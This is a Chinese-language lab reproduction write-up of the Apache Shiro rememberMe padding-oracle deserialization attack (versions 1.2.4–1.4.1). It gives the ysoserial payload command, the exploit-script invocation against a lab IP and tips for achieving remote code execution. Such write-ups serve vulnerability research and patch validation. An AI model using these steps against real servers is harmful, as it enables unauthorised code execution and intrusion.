0x01 背景

shiro是一个java场景使用较多组件,最近曝出因使用了 AES-128-CBC 模式对cookie进行加密,so可
以padding oracle攻击构造数据进行反序列化攻击

影响版本: 1.2.4<shiro<=1.4.1

0x02 环境

靶机:windows10 + tomcat + shiro1.4.1
shiro环境:https://pan.baidu.com/s/1E72vhls9oOI-ny4luDTi3A 提取码: uakn

攻击机:windows10 + burpsuite + python
Exp:https://xxx.com

0x03 复现

  • 1.靶机shiro环境正常显示

  • 2.登录

  • 3.生成payload.class

java -jar ysoserial.jar CommonsCollections1 "ping dnslog.com" > payload.class
  • 4.取cookie的rememberMe值

  • 5.生成恶意rememberMe值

需输入3个参数,目标url,正常rememberMe值,payload.class,我跑了应该是20分左右,具体没看
>>python2 shiro_exp.py http://172.20.10.3:8080/shiro-1.4.1/home.jsp rememberMe值 payload.class
  • 6.使用生成的恶意rememberMe值进行访问
PS:此处访问需要先退出刚才的登录,在未登录情况下使用恶意remeberMe进行访问,由此才可造成RCE
同时也可理解为,获得一次任意登录后得remeberMe值后,以后再利用则无需获取新的值,想要执行其他命令,继续使用初始的remeberMe值进行遍历。


0x04 坑点

  • 1.耗费时间
  • 2.需要注销后进行注入恶意rememberMe访问,差点自闭,毕竟无参考且没人提过,或者我姿势不对??
  • 3.友情提示不要用linux虚拟机当做靶机进行遍历,虚拟机会内存红色告急,可以先快照试试,不过不一定管事 (默默超心痛我的kali机,-.-!)